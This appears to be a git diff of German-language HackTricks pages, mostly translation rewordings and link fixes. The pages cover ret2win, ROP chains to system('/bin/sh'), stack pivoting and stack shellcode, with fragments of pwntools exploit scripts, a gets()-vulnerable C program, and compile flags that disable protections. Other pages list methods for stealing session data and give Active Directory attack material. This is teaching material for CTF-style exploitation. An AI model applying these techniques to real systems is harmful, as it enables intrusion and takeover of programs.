+Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript erstellt eine Payload, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
 ```python
 from pwn import *
 
@@ -65,12 +65,12 @@ objdump -d vulnerable | grep win
 ```
 Dieser Befehl zeigt Ihnen die Assemblierung der `win`-Funktion, einschließlich ihrer Startadresse. 
 
-Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rücksprungadresse auf dem Stack mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, springt es anstelle der Rückkehr zu `main` oder des Beendens zu `win`, und die Nachricht wird ausgegeben.
+Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rücksprungadresse auf dem Stack mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, springt es anstelle der Rückkehr zu `main` oder des Verlassens zu `win`, und die Nachricht wird ausgegeben.
 
 ## Schutzmaßnahmen
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird.
 
 ## Weitere Beispiele & Referenzen
 
@@ -82,7 +82,7 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 Bit, kein ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 Bit, kein ASLR, doppelter kleiner Überlauf, zuerst um den Stack zu überlaufen und die Größe des zweiten Überlaufs zu vergrößern
+- 32 Bit, kein ASLR, doppelter kleiner Überlauf, zuerst den Stack überlaufen und die Größe des zweiten Überlaufs vergrößern
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 Bit, relro, kein Canary, nx, kein pie, Format-String zur Überschreibung der Adresse `fflush` mit der win-Funktion (ret2win)
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -4,7 +4,7 @@
 
 ## **Grundinformationen**
 
-**Return-Oriented Programming (ROP)** ist eine fortgeschrittene Ausnutzungstechnik, die verwendet wird, um Sicherheitsmaßnahmen wie **No-Execute (NX)** oder **Data Execution Prevention (DEP)** zu umgehen. Anstatt Shellcode zu injizieren und auszuführen, nutzt ein Angreifer Teile von Code, die bereits im Binärformat oder in geladenen Bibliotheken vorhanden sind, bekannt als **"Gadgets"**. Jedes Gadget endet typischerweise mit einer `ret`-Anweisung und führt eine kleine Operation aus, wie das Bewegen von Daten zwischen Registern oder das Durchführen arithmetischer Operationen. Durch das Verketten dieser Gadgets kann ein Angreifer eine Nutzlast konstruieren, um beliebige Operationen auszuführen und so effektiv NX/DEP-Schutzmaßnahmen zu umgehen.
+**Return-Oriented Programming (ROP)** ist eine fortgeschrittene Ausnutzungstechnik, die verwendet wird, um Sicherheitsmaßnahmen wie **No-Execute (NX)** oder **Data Execution Prevention (DEP)** zu umgehen. Anstatt Shellcode zu injizieren und auszuführen, nutzt ein Angreifer Teile von Code, die bereits im Binärformat oder in geladenen Bibliotheken vorhanden sind, bekannt als **"Gadgets"**. Jedes Gadget endet typischerweise mit einer `ret`-Anweisung und führt eine kleine Operation aus, wie das Bewegen von Daten zwischen Registern oder das Durchführen arithmetischer Operationen. Durch das Verketten dieser Gadgets kann ein Angreifer eine Nutzlast konstruieren, um beliebige Operationen auszuführen und somit effektiv NX/DEP-Schutzmaßnahmen zu umgehen.
 
 ### Wie ROP funktioniert
 
@@ -21,25 +21,25 @@ Typischerweise können Gadgets mit **[ROPgadget](https://github.com/JonathanSalw
 ### **x86 (32-Bit) Aufrufkonventionen**
 
 - **cdecl**: Der Aufrufer bereinigt den Stack. Funktionsargumente werden in umgekehrter Reihenfolge (von rechts nach links) auf den Stack geschoben. **Argumente werden von rechts nach links auf den Stack geschoben.**
-- **stdcall**: Ähnlich wie cdecl, aber der Aufgerufene ist für die Bereinigung des Stacks verantwortlich.
+- **stdcall**: Ähnlich wie cdecl, aber der Callee ist für die Bereinigung des Stacks verantwortlich.
 
 ### **Gadgets finden**
 
 Zuerst nehmen wir an, dass wir die notwendigen Gadgets innerhalb des Binärformats oder seiner geladenen Bibliotheken identifiziert haben. Die Gadgets, an denen wir interessiert sind, sind:
 
 - `pop eax; ret`: Dieses Gadget poppt den obersten Wert des Stacks in das `EAX`-Register und gibt dann zurück, wodurch wir `EAX` kontrollieren können.
-- `pop ebx; ret`: Ähnlich wie das obige, aber für das `EBX`-Register, was die Kontrolle über `EBX` ermöglicht.
+- `pop ebx; ret`: Ähnlich wie oben, aber für das `EBX`-Register, was die Kontrolle über `EBX` ermöglicht.
 - `mov [ebx], eax; ret`: Bewegt den Wert in `EAX` an die Speicheradresse, auf die `EBX` zeigt, und gibt dann zurück. Dies wird oft als **write-what-where gadget** bezeichnet.
-- Darüber hinaus haben wir die Adresse der `system()`-Funktion verfügbar.
+- Zusätzlich haben wir die Adresse der `system()`-Funktion verfügbar.
 
 ### **ROP-Kette**
 
 Mit **pwntools** bereiten wir den Stack für die Ausführung der ROP-Kette wie folgt vor, um `system('/bin/sh')` auszuführen. Beachten Sie, wie die Kette beginnt mit:
 
 1. Einer `ret`-Anweisung zu Alignierungszwecken (optional)
-2. Adresse der `system`-Funktion (vorausgesetzt, ASLR ist deaktiviert und libc ist bekannt, mehr Informationen in [**Ret2lib**](ret2lib/))
+2. Adresse der `system`-Funktion (vorausgesetzt, ASLR ist deaktiviert und libc ist bekannt, mehr Informationen in [**Ret2lib**](ret2lib/index.html))
 3. Platzhalter für die Rücksprungadresse von `system()`
-4. Adresse des `"/bin/sh"`-Strings (Parameter für die Systemfunktion)
+4. `"/bin/sh"`-Stringadresse (Parameter für die Systemfunktion)
 ```python
 from pwn import *
 
@@ -81,9 +81,9 @@ p.interactive()
 - Die **Windows x64** Aufrufkonvention verwendet `RCX`, `RDX`, `R8` und `R9` für die ersten vier Ganzzahl- oder Zeigerargumente, wobei zusätzliche Argumente auf dem Stack übergeben werden. Der Rückgabewert wird in `RAX` platziert.
 - **Register**: 64-Bit-Register umfassen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` und `R8` bis `R15`.
 
-#### **Gadgets finden**
+#### **Gadgets Finden**
 
-Für unsere Zwecke konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register (um die **"/bin/sh"**-Zeichenkette als Argument an **system()** zu übergeben) zu setzen und dann die **system()**-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
+Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register zu setzen (um den **"/bin/sh"**-String als Argument an **system()** zu übergeben) und dann die **system()**-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
 
 - **pop rdi; ret**: Poppt den obersten Wert des Stacks in **RDI** und gibt dann zurück. Essentiell, um unser Argument für **system()** zu setzen.
 - **ret**: Ein einfacher Rückgabewert, nützlich für die Stack-Ausrichtung in einigen Szenarien.
@@ -92,7 +92,7 @@ Und wir kennen die Adresse der **system()**-Funktion.
 
 ### **ROP-Kette**
 
-Im Folgenden ein Beispiel, das **pwntools** verwendet, um eine ROP-Kette einzurichten und auszuführen, die darauf abzielt, **system('/bin/sh')** auf **x64** auszuführen:
+Unten ist ein Beispiel, das **pwntools** verwendet, um eine ROP-Kette einzurichten und auszuführen, die darauf abzielt, **system('/bin/sh')** auf **x64** auszuführen:
 ```python
 from pwn import *
 
@@ -135,17 +135,17 @@ In diesem Beispiel:
 
 ### Stapelausrichtung
 
-**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Optimierung der Leistung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht ordnungsgemäß ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret gadget** vor dem Aufruf von **system** in Ihrer ROP-Kette hinzu.
+**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Optimierung der Leistung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht richtig ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret gadget** hinzu, bevor Sie **system** in Ihrer ROP-Kette aufrufen.
 
 ## Hauptunterschied zwischen x86 und x64
 
 > [!TIP]
-> Da x64 Register für die ersten paar Argumente verwendet, erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64** Architektur bieten sowohl Chancen als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext von Return-Oriented Programming (ROP).
+> Da x64 Register für die ersten paar Argumente verwendet, erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der **x64**-Architektur bieten sowohl Chancen als auch Herausforderungen für die Entwicklung von Exploits, insbesondere im Kontext von Return-Oriented Programming (ROP).
 
 ## Schutzmaßnahmen
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 
 ## Weitere Beispiele & Referenzen
 
@@ -155,13 +155,13 @@ In diesem Beispiel:
 
 Beachten Sie, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Basierend auf ROP wurden viele Ret2XXX-Techniken entwickelt:
 
-- **Ret2lib**: Verwenden Sie ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern aufzurufen (normalerweise etwas wie `system('/bin/sh')`.
+- **Ret2lib**: Verwenden Sie ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern (normalerweise etwas wie `system('/bin/sh')`) aufzurufen.
 
 {{#ref}}
 ret2lib/
 {{#endref}}
 
-- **Ret2Syscall**: Verwenden Sie ROP, um einen Aufruf zu einem Syscall, z.B. `execve`, vorzubereiten und beliebige Befehle auszuführen.
+- **Ret2Syscall**: Verwenden Sie ROP, um einen Aufruf zu einem Syscall, z.B. `execve`, vorzubereiten und ihn beliebige Befehle ausführen zu lassen.
 
 {{#ref}}
 rop-syscall-execv.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -16,7 +16,7 @@ Und da sich das **EBP im Stack** vor dem EIP befindet, ist es möglich, es zu ko
 
 ### EBP2Ret
 
-Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.
+Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keine direkte Möglichkeit haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.
 
 Wenn Sie während der Ausführung von `fvuln` ein **falsches EBP** in den Stack injizieren, das auf einen Bereich im Speicher zeigt, in dem sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **was effektiv bedeutet, dass er auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde.**\
 Beachten Sie, dass Sie **2 Adressen wissen müssen**: Die, zu der der ESP gehen wird, wo Sie die Adresse schreiben müssen, auf die der ESP zeigt.
@@ -32,15 +32,15 @@ Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebig
 - Die Adresse eines **`jump esp;`** Gadgets ([**ret2esp**](ret2esp-ret2reg.md)) gefolgt vom **Shellcode**, der ausgeführt werden soll.
 - Eine [**ROP**](rop-return-oriented-programing.md) Kette
 
-Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, aufgrund des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren.
+Denken Sie daran, dass vor jeder dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, aufgrund des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren.
 
 #### Off-By-One Exploit
 
 Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP** ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit dem **`ret`** gesprungen werden soll, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter restriktiveren Bedingungen ermöglicht.
 
-### **EBP-Ketten**
+### **EBP Chaining**
 
-Daher ist es möglich, eine kontrollierte Adresse in den `EBP`-Eintrag des Stacks und eine Adresse zu `leave; ret` in `EIP` zu setzen, um **den `ESP` zur kontrollierten `EBP`-Adresse im Stack zu bewegen**.
+Daher ist es möglich, eine kontrollierte Adresse im `EBP`-Eintrag des Stacks und eine Adresse zu `leave; ret` im `EIP` zu setzen, um **den `ESP` zur kontrollierten `EBP`-Adresse vom Stack zu bewegen**.
 
 Jetzt wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, ist es möglich, an der kontrollierten ESP-Stelle Folgendes zu platzieren:
 
@@ -49,11 +49,11 @@ Jetzt wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, un
 - **`&(leave;ret)`** -> Aufgerufen, nachdem das System endet, wird es den ESP zum falschen EBP bewegen und erneut starten
 - **`&("/bin/sh")`**-> Parameter für `system`
 
-Im Grunde ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
+Grundsätzlich ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
 
-Das ist wie ein [ret2lib](ret2lib/), aber komplexer ohne offensichtlichen Nutzen, könnte aber in einigen Grenzfällen interessant sein.
+Das ist wie ein [ret2lib](ret2lib/index.html), aber komplexer ohne offensichtlichen Nutzen, könnte aber in einigen Grenzfällen interessant sein.
 
-Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), das diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
+Außerdem haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), das diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
 ```python
 from pwn import *
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md

@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
-**Stack shellcode** ist eine Technik, die bei der binären Ausnutzung verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so ändert, dass er auf den Speicherort dieses Shellcodes zeigt, was dessen Ausführung zur Folge hat. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie Sie einen entsprechenden Exploit mit Python und **pwntools** schreiben könnten.
+**Stack shellcode** ist eine Technik, die bei der binären Ausnutzung verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so ändert, dass er auf die Stelle dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie Sie einen entsprechenden Exploit mit Python und **pwntools** schreiben könnten.
 
 ### C-Beispiel: Ein verwundbares Programm
 
@@ -24,7 +24,7 @@ printf("Returned safely\n");
 return 0;
 }
 ```
-Dieses Programm ist anfällig für einen Pufferüberlauf aufgrund der Verwendung der `gets()`-Funktion.
+Dieses Programm ist anfällig für einen Buffer Overflow aufgrund der Verwendung der `gets()`-Funktion.
 
 ### Kompilierung
 
@@ -37,9 +37,9 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Deaktiviert Position Independent Executable, was es einfacher macht, die Speicheradresse vorherzusagen, an der sich unser Shellcode befinden wird.
 - `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei, oft zur Vereinfachung in der Exploit-Entwicklung.
 
-### Python Exploit mit Pwntools
+### Python Exploit using Pwntools
 
-Hier ist, wie Sie einen Exploit in Python mit **pwntools** schreiben könnten, um einen **ret2shellcode**-Angriff durchzuführen:
+Hier ist, wie man einen Exploit in Python mit **pwntools** schreiben könnte, um einen **ret2shellcode** Angriff durchzuführen:
 ```python
 from pwn import *
 
@@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Dieses Skript erstellt eine Payload, die aus einem **NOP-Slide**, dem **Shellcode** und dann einer Überschreibung des **EIP** mit der Adresse besteht, die auf den NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
+Dieses Skript erstellt eine Nutzlast, die aus einem **NOP-Slide**, dem **Shellcode** und dann einer Überschreibung des **EIP** mit der Adresse besteht, die auf den NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
 
-Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren Shellcode "gleitet", unabhängig von der genauen Adresse. Passen Sie das `p32()`-Argument an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
+Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren Shellcode "gleitet", unabhängig von der genauen Adresse. Passen Sie das Argument `p32()` an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
 
 ## Schutzmaßnahmen
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **sollte deaktiviert** sein, damit die Adresse über mehrere Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein, und Sie benötigen einen Leak, um herauszufinden, wo die Gewinnfunktion geladen ist.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert werden, oder die kompromittierte EIP-Rückgabeadresse wird niemals gefolgt.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse bei mehreren Ausführungen zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die Gewinnfunktion geladen ist.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, oder die kompromittierte EIP-Rückgabewertadresse wird niemals verfolgt.
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **Stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar ist.
 
 ## Weitere Beispiele & Referenzen

src/stealing-sensitive-information-disclosure-from-a-web.md

@@ -5,9 +5,9 @@
 Wenn Sie irgendwann eine **Webseite finden, die Ihnen sensible Informationen basierend auf Ihrer Sitzung präsentiert**: Vielleicht spiegelt sie Cookies wider, oder druckt Kreditkarteninformationen oder andere sensible Daten aus, könnten Sie versuchen, diese zu stehlen.\
 Hier präsentiere ich Ihnen die Hauptmethoden, die Sie versuchen können, um dies zu erreichen:
 
-- [**CORS-Bypass**](pentesting-web/cors-bypass.md): Wenn Sie die CORS-Header umgehen können, werden Sie in der Lage sein, die Informationen durch eine Ajax-Anfrage an eine bösartige Seite zu stehlen.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/): Wenn Sie eine XSS-Sicherheitsanfälligkeit auf der Seite finden, könnten Sie in der Lage sein, diese auszunutzen, um die Informationen zu stehlen.
-- [**Dangling Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Wenn Sie keine XSS-Tags injizieren können, könnten Sie dennoch in der Lage sein, die Informationen mit anderen regulären HTML-Tags zu stehlen.
+- [**CORS-Umgehung**](pentesting-web/cors-bypass.md): Wenn Sie CORS-Header umgehen können, werden Sie in der Lage sein, die Informationen durch eine Ajax-Anfrage an eine bösartige Seite zu stehlen.
+- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Wenn Sie eine XSS-Sicherheitsanfälligkeit auf der Seite finden, könnten Sie in der Lage sein, diese auszunutzen, um die Informationen zu stehlen.
+- [**Dangling Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Wenn Sie keine XSS-Tags injizieren können, könnten Sie dennoch in der Lage sein, die Informationen mit anderen regulären HTML-Tags zu stehlen.
 - [**Clickjacking**](pentesting-web/clickjacking.md): Wenn es keinen Schutz gegen diesen Angriff gibt, könnten Sie den Benutzer dazu bringen, Ihnen die sensiblen Daten zu senden (ein Beispiel [hier](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ./banners/hacktricks-training.md}}

src/todo/stealing-sensitive-information-disclosure-from-a-web.md

@@ -2,12 +2,12 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Wenn Sie irgendwann eine **Webseite finden, die Ihnen basierend auf Ihrer Sitzung sensible Informationen präsentiert**: Vielleicht spiegelt sie Cookies wider, oder druckt Kreditkarteninformationen oder andere sensible Daten aus, könnten Sie versuchen, diese zu stehlen.\
+Wenn Sie irgendwann eine **Webseite finden, die Ihnen sensible Informationen basierend auf Ihrer Sitzung präsentiert**: Vielleicht werden Cookies reflektiert, oder Kreditkarteninformationen oder andere sensible Daten angezeigt, könnten Sie versuchen, diese zu stehlen.\
 Hier präsentiere ich Ihnen die Hauptmethoden, die Sie versuchen können, um dies zu erreichen:
 
-- [**CORS-Umgehung**](../pentesting-web/cors-bypass.md): Wenn Sie CORS-Header umgehen können, werden Sie in der Lage sein, die Informationen durch eine Ajax-Anfrage an eine bösartige Seite zu stehlen.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Wenn Sie eine XSS-Sicherheitsanfälligkeit auf der Seite finden, könnten Sie in der Lage sein, diese auszunutzen, um die Informationen zu stehlen.
-- [**Dangling Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Wenn Sie keine XSS-Tags injizieren können, könnten Sie dennoch in der Lage sein, die Informationen mit anderen regulären HTML-Tags zu stehlen.
+- [**CORS-Bypass**](../pentesting-web/cors-bypass.md): Wenn Sie die CORS-Header umgehen können, werden Sie in der Lage sein, die Informationen durch eine Ajax-Anfrage an eine bösartige Seite zu stehlen.
+- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Wenn Sie eine XSS-Schwachstelle auf der Seite finden, könnten Sie in der Lage sein, diese auszunutzen, um die Informationen zu stehlen.
+- [**Dangling Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Wenn Sie keine XSS-Tags injizieren können, könnten Sie dennoch in der Lage sein, die Informationen mit anderen regulären HTML-Tags zu stehlen.
 - [**Clickjacking**](../pentesting-web/clickjacking.md): Wenn es keinen Schutz gegen diesen Angriff gibt, könnten Sie den Benutzer dazu bringen, Ihnen die sensiblen Daten zu senden (ein Beispiel [hier](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/README.md

@@ -22,19 +22,19 @@ Wichtige Konzepte innerhalb von **Active Directory** umfassen:
 2. **Zertifikatsdienste** – Überwacht die Erstellung, Verteilung und Verwaltung sicherer **digitaler Zertifikate**.
 3. **Leichtgewichtige Verzeichnisdienste** – Unterstützt verzeichnisfähige Anwendungen über das **LDAP-Protokoll**.
 4. **Verzeichnis-Federationsdienste** – Bietet **Single-Sign-On**-Funktionen zur Authentifizierung von Benutzern über mehrere Webanwendungen in einer einzigen Sitzung.
-5. **Rechtsverwaltung** – Hilft beim Schutz urheberrechtlich geschützter Materialien, indem die unbefugte Verbreitung und Nutzung reguliert wird.
+5. **Rechtsmanagement** – Hilft beim Schutz urheberrechtlich geschützter Materialien, indem es deren unbefugte Verbreitung und Nutzung reguliert.
 6. **DNS-Dienst** – Entscheidend für die Auflösung von **Domänennamen**.
 
 Für eine detailliertere Erklärung siehe: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
 
 ### **Kerberos-Authentifizierung**
 
-Um zu lernen, wie man **ein AD angreift**, müssen Sie den **Kerberos-Authentifizierungsprozess** wirklich gut **verstehen**.\
+Um zu lernen, wie man **einen AD angreift**, müssen Sie den **Kerberos-Authentifizierungsprozess** wirklich gut **verstehen**.\
 [**Lesen Sie diese Seite, wenn Sie noch nicht wissen, wie es funktioniert.**](kerberos-authentication.md)
 
 ## Cheat Sheet
 
-Sie können viel auf [https://wadcoms.github.io/](https://wadcoms.github.io) nehmen, um einen schnellen Überblick darüber zu erhalten, welche Befehle Sie ausführen können, um ein AD zu enumerieren/exploiten.
+Sie können viel auf [https://wadcoms.github.io/](https://wadcoms.github.io) nehmen, um einen schnellen Überblick darüber zu erhalten, welche Befehle Sie ausführen können, um einen AD zu enumerieren/exploiten.
 
 ## Recon Active Directory (Keine Anmeldeinformationen/Sitzungen)
 
@@ -76,7 +76,7 @@ Wenn Sie nur Zugriff auf eine AD-Umgebung haben, aber keine Anmeldeinformationen
 
 ### Benutzerenumeration
 
-- **Anonymer SMB/LDAP enum:** Überprüfen Sie die [**Pentesting SMB**](../../network-services-pentesting/pentesting-smb/) und [**Pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) Seiten.
+- **Anonymer SMB/LDAP enum:** Überprüfen Sie die [**Pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) und [**Pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) Seiten.
